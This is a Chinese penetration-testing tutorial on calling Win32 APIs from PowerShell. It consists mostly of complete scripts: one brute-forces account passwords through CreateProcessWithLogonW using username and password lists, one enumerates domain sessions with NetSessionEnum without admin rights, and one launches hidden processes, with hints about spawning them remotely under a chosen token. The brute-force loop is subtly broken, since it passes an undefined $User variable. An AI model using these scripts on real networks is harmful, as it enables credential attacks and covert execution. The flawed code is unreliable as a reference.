Win32API

Powershell还有一大强大之处就是能调用Win32-Api(废话),这给我们带来了极大的便利,也就是API能实现的功能当我们在渗透的过程中我们能轻而易举的实现,而我们只需要在对方机器执行一条命令即可。

下面我们通过几个脚本来介绍我们如何通过Powershell来调用Win32Api,从而达到学习的目的,也能够为大家的脚本工具增添xx....:)

Runas

runas.exe是一个Windows自带的程序,一条简单的命令runas /user:corp\bob cmd可以用域内另外一个用户的身份开一个shell,当然需要你输入密码

这次我们直接通过Powershell来实现runas,但是我们就不介绍他直接的用处了,那么runas我们能想到的利用场景还有什么呢?我们可以通过输入密码对用户的密码进行爆破。

function Runas-Brute {

<#
.SYNOPSIS
    Parameters:

     -UserList              Specifiy usernameList.

     -PasswordList          Specify passwordList.

     -Domain            Specify domain. Defaults to localhost if not specified.

     -LogonType         dwLogonFlags:
                          0x00000001 --> LOGON_WITH_PROFILE
                                           Log on, then load the user profile in the HKEY_USERS registry
                                           key. The function returns after the profile is loaded.

                          0x00000002 --> LOGON_NETCREDENTIALS_ONLY (= /netonly)
                                           Log on, but use the specified credentials on the network only.
                                           The new process uses the same token as the caller, but the
                                           system creates a new logon session within LSA, and the process
                                           uses the specified credentials as the default credentials.

     -Binary            Full path of the module to be executed.

     -Args              Arguments to pass to the module, e.g. "/c calc.exe". Defaults
                        to $null if not specified.


.EXAMPLE
    Start cmd with a local account
    C:\PS> Invoke-Runas -UserList SomeAccountList -PasswordList SomePassList -Binary C:\Windows\System32\cmd.exe -LogonType 0x1

.EXAMPLE
    Start cmd with remote credentials. Equivalent to "/netonly" in runas.
    C:\PS> Invoke-Runas -UserList SomeAccountList -PasswordList SomePassList -Domain SomeDomain -Binary C:\Windows\System32\cmd.exe -LogonType 0x2
#>

    param (
        [Parameter(Mandatory = $True)]
        [string]$UserList,
        [Parameter(Mandatory = $True)]
        [string]$PasswordList,
        [Parameter(Mandatory = $False)]
        [string]$Domain=".",
        [Parameter(Mandatory = $True)]
        [string]$Binary,
        [Parameter(Mandatory = $False)]
        [string]$Args=$null,
        [Parameter(Mandatory = $True)]
        [int][ValidateSet(1,2)]
        [string]$LogonType
    )  

    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    public struct STARTUPINFO
    {
        public uint cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    public static class Advapi32
    {
        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
        public static extern bool CreateProcessWithLogonW(
            String userName,
            String domain,
            String password,
            int logonFlags,
            String applicationName,
            String commandLine,
            int creationFlags,
            int environment,
            String currentDirectory,
            ref  STARTUPINFO startupInfo,
            out PROCESS_INFORMATION processInformation);
    }

    public static class Kernel32
    {
        [DllImport("kernel32.dll")]
        public static extern uint GetLastError();
    }
"@

    # StartupInfo Struct
    $StartupInfo = New-Object STARTUPINFO
    $StartupInfo.dwFlags = 0x00000001
    $StartupInfo.wShowWindow = 0x0001
    $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)

    # ProcessInfo Struct
    $ProcessInfo = New-Object PROCESS_INFORMATION

    # 创建一个在当前目录的shell
    $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

    echo "`n[>] Calling Advapi32::CreateProcessWithLogonW"

    $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList
    $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList
    if (!$usernames) { 
        $usernames = $UserList
        Write-Verbose "UserList file does not exist."
        Write-Verbose $usernames
    }
    if (!$passwords) {
        $passwords = $PasswordList
        Write-Verbose "PasswordList file does not exist."
        Write-Verbose $passwords
    }

    :UsernameLoop foreach ($username in $usernames)
    {
        foreach ($Password in $Passwords)
        {
            $CallResult = [Advapi32]::CreateProcessWithLogonW(
                $User, $Domain, $Password, $LogonType, $Binary,
                $Args, 0x04000000, $null, $GetCurrentPath,
                [ref]$StartupInfo, [ref]$ProcessInfo)

            if (!$CallResult) {
                echo "==> $((New-Object System.ComponentModel.Win32Exception([int][Kernel32]::GetLastError())).Message)"
                echo "Test: " , $User , $password
            } else {
                echo "`n[+] Success, process details:"
                Get-Process -Id $ProcessInfo.dwProcessId
                echo "Test: " , $User , $password
                break UsernameLoop
            } 
        }
    }
}

这是整个脚本的代码,那么下面就是运行的结果,我们只需要指定好他的字典文件即可

NetSessionEnum

下面一个简单的介绍NetSessionEnum。首先我们需要了解的是,在真实的测试过程中我们需要知道域内的组织架构,域内的活动机器等等。那么可以提供的工具也有很多,比如:PVEFindADUser.exe psloggedon.exe netsess.exe hunter.exe等等,那么我们还是选择powershell作为我们的最佳利用工具,其实上面讲到的工具都是调用了NetSessionEnum API,那么我们Powershell也能够非常方便的调用此API,而且最重要的一点,我们并不需要域管的权限,下面我们来看一下这里如何实现。

function Invoke-NetSessionEnum {
<#
.SYNOPSIS

    使用NetSessionEnum去列出目前的活动🎨

.EXAMPLE
    PS> Invoke-NetSessionEnum -HostName SomeHostName

#>

    param (
        [Parameter(Mandatory = $True)]
        [string]$HostName
    )  

    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;

    [StructLayout(LayoutKind.Sequential)]
    public struct SESSION_INFO_10
    {
        [MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost;
        [MarshalAs(UnmanagedType.LPWStr)]public string DomainUser;
        public uint SessionTime;
        public uint IdleTime;
    }

    public static class Netapi32
    {
        [DllImport("Netapi32.dll", SetLastError=true)]
            public static extern int NetSessionEnum(
                [In,MarshalAs(UnmanagedType.LPWStr)] string ServerName,
                [In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName,
                [In,MarshalAs(UnmanagedType.LPWStr)] string UserName,
                Int32 Level,
                out IntPtr bufptr,
                int prefmaxlen,
                ref Int32 entriesread,
                ref Int32 totalentries,
                ref Int32 resume_handle);

        [DllImport("Netapi32.dll", SetLastError=true)]
            public static extern int NetApiBufferFree(
                IntPtr Buffer);
    }
"@

    # 创建 SessionInfo10 结构
    $SessionInfo10 = New-Object SESSION_INFO_10
    $SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr
    $SessionInfo10 = $SessionInfo10.GetType()     
    # NetSessionEnum 的参数
    $OutBuffPtr = [IntPtr]::Zero 
    $EntriesRead = $TotalEntries = $ResumeHandle = 0
    $CallResult = [Netapi32]::NetSessionEnum($HostName, "", "", 10, [ref]$OutBuffPtr, -1, [ref]$EntriesRead, [ref]$TotalEntries, [ref]$ResumeHandle)

    if ($CallResult -ne 0){
        echo "something wrong!`nError Code: $CallResult"
    }

    else {

        if ([System.IntPtr]::Size -eq 4) {
            echo "`nNetapi32::NetSessionEnum Buffer Offset  --> 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())"
        }
        else {
            echo "`nNetapi32::NetSessionEnum Buffer Offset  --> 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())"
        }

        echo "Result-set contains $EntriesRead session(s)!"

        # Change buffer offset to int
        $BufferOffset = $OutBuffPtr.ToInt64()

        # Loop buffer entries and cast pointers as SessionInfo10
        for ($Count = 0; ($Count -lt $EntriesRead); $Count++){
            $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
            $Info = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr,[type]$SessionInfo10)
            $Info
            $BufferOffset = $BufferOffset + $SessionInfo10StructSize
        }

        echo "`nCalling NetApiBufferFree, no memleaks here!"
        [Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null
    }
}

CreateProcess

最后我们在看一个我们用的最多的API例子:进程创建,我们需要远程创建一个没有窗口而去token由我们指定的进程,至于为什么要这么干大家可以自己领悟。那么CreateProcess API就能满足我们的需求,我们来看一个简单的例子:

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
 public IntPtr hProcess;
 public IntPtr hThread;
 public uint dwProcessId;
 public uint dwThreadId;
}

[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
 public uint cb;
 public string lpReserved;
 public string lpDesktop;
 public string lpTitle;
 public uint dwX;
 public uint dwY;
 public uint dwXSize;
 public uint dwYSize;
 public uint dwXCountChars;
 public uint dwYCountChars;
 public uint dwFillAttribute;
 public uint dwFlags;
 public short wShowWindow;
 public short cbReserved2;
 public IntPtr lpReserved2;
 public IntPtr hStdInput;
 public IntPtr hStdOutput;
 public IntPtr hStdError;
}

[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
 public int length;
 public IntPtr lpSecurityDescriptor;
 public bool bInheritHandle;
}

public static class Kernel32
{
 [DllImport("kernel32.dll", SetLastError=true)]
 public static extern bool CreateProcess(
 string lpApplicationName,
 string lpCommandLine,
 ref SECURITY_ATTRIBUTES lpProcessAttributes, 
 ref SECURITY_ATTRIBUTES lpThreadAttributes,
 bool bInheritHandles,
 uint dwCreationFlags, 
 IntPtr lpEnvironment,
 string lpCurrentDirectory,
 ref STARTUPINFO lpStartupInfo, 
 out PROCESS_INFORMATION lpProcessInformation);
}
"@

# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW
$StartupInfo.wShowWindow = 0x0000 # SW_HIDE
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size

# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION

# SECURITY_ATTRIBUTES Struct (Process &amp; Thread)
$SecAttr = New-Object SECURITY_ATTRIBUTES
$SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)

# CreateProcess In CurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName

# Call CreateProcess
[Kernel32]::CreateProcess("C:\Windows\System32\cmd.exe", "/c calc.exe", [ref] $SecAttr, [ref] $SecAttr, $false,
0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null

其中窗口问题是在$StartupInfo.wShowWindow = 0x0000 # SW_HIDE这里解决的,下面是测试效果:

可以看到计算器是在cmd进程下面的,那么还有一个需求是使用什么Token来打开一个进程,我们使用API:CreateProcessAsUserW那么大家可以去研究一下如何完成使用特定token打开进程。

最后更新于